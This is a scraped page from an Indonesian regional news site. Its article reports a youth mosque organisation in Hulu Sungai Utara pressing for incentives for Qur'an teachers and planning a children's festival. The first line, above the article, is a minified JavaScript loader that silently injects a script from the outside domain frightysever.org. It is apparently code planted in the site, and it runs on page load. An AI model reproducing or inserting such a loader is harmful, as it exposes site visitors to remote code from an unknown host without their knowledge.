(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

BKPRMI HSU Terus Perjuangkan Insentif bagi Ustadz dan Ustadzah


KANALKALIMANTAN.COM, AMUNTAI – Dewan Pimpinan Daerah (DPD) Badan Komunikasi Pemuda Remaja Masjid Indonesia (BKPRMI) Kabupaten Hulu Sungai Utara (HSU) berkomitmen untuk terus memperjuangkan insentif untuk para ustadz dan ustadzah.

Hal itu dikemukakan Ketua DPD BKPRMI HSU, Jumarto saat menghadiri dalam acara Khataman Al Qur’an santri dan santriwati Taman Pendidikan Al Qur’an (TPQ) Syiarul Islam Desa Banua Hanyar, Kecamatan Sungai Tabukan, di gedung serba guna kantor Camat Sungai Tabukan, Kabupaten HSU, Minggu (3/3/2024).

“Ustadz dan ustadzah yang kita tangani kurang lebih 13 ribuan, sekarang yang masih belum mendapatkan insentif dari pemerintah daerah kurang lebih sekitar 900 orang, ini yang kami perjuangkan,” ungkapnya.

Baca juga: Tukang Bengkel di Banjarmasin Nyambi Jual Sabu Dibekuk Polisi

Dirinya mengaku bersyukur di tahun 2023 kemarin, melalui usulan kepada pemerintah daerah, akhirnya DPD BKPRMI Kabupaten HSU kembali dapat menambah kuota ustadz dan ustadzah yang mendapatkan insentif sebanyak 44 orang.

Dia yakin, meski mereka selama ini sebulan hanya mendapatkan insentif yang sedikit, namun mereka selama memberikan pengajaran baca tulis Al Qur’an penuh dengan keikhlasan.

“Kita patut bersyukur, meski perdua bulannya hanya mendapatkan total 300 ribu rupiah. Andai kata ustadz ustadzah diberikan gaji Rp10 juta per bulan mengajarkan Al Qur’an sekalipun, maka itu tidak ada nilainya, makanya ulun berupaya agar seluruh ustadz dan ustadzah mendapatkan insentif,” imbuhnya.

Baca juga: Dugaan Penggelembungan Suara PPK Sungai Pinang, KPU Banjar Tolak Keberataan Saksi Partai

Oleh karena itu, dia mengharapkan kedepannya kesejahteraan para ustadz dan ustadzah khususnya para pengajar di TPA/TPQ di Kabupaten HSU akan terus dapat ditingkatkan.

Selain itu, kata Jumarto, untuk meningkatkan prestasi para santri DPD BKPRMI Kabupaten HSU dalam waktu dekat akan menggelar Festival Anak Sholeh (FASI) tahun 2024.

Dia berharap para santri santriwati akan menorehkan prestasi baik ditingkat kabupaten, maupun ke tingkat provinsi bahkan nasional.

Baca juga: Dua Ahli Hukum Berikan Keterangan di Sidang PK Mardani Maming

“Untuk karena itu, masing-masing TPA TPQ diharapkan menyiapkan santri-santrinya, agar siap mengikuti FASI di tingkat kecamatan, di kabupaten, dan jika bisa berlanjut ke tingkat provinsi dan nasional, insyaallah FASI tingkat nasional tahun 2024 ini akan digelar di Batam,” ajaknya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.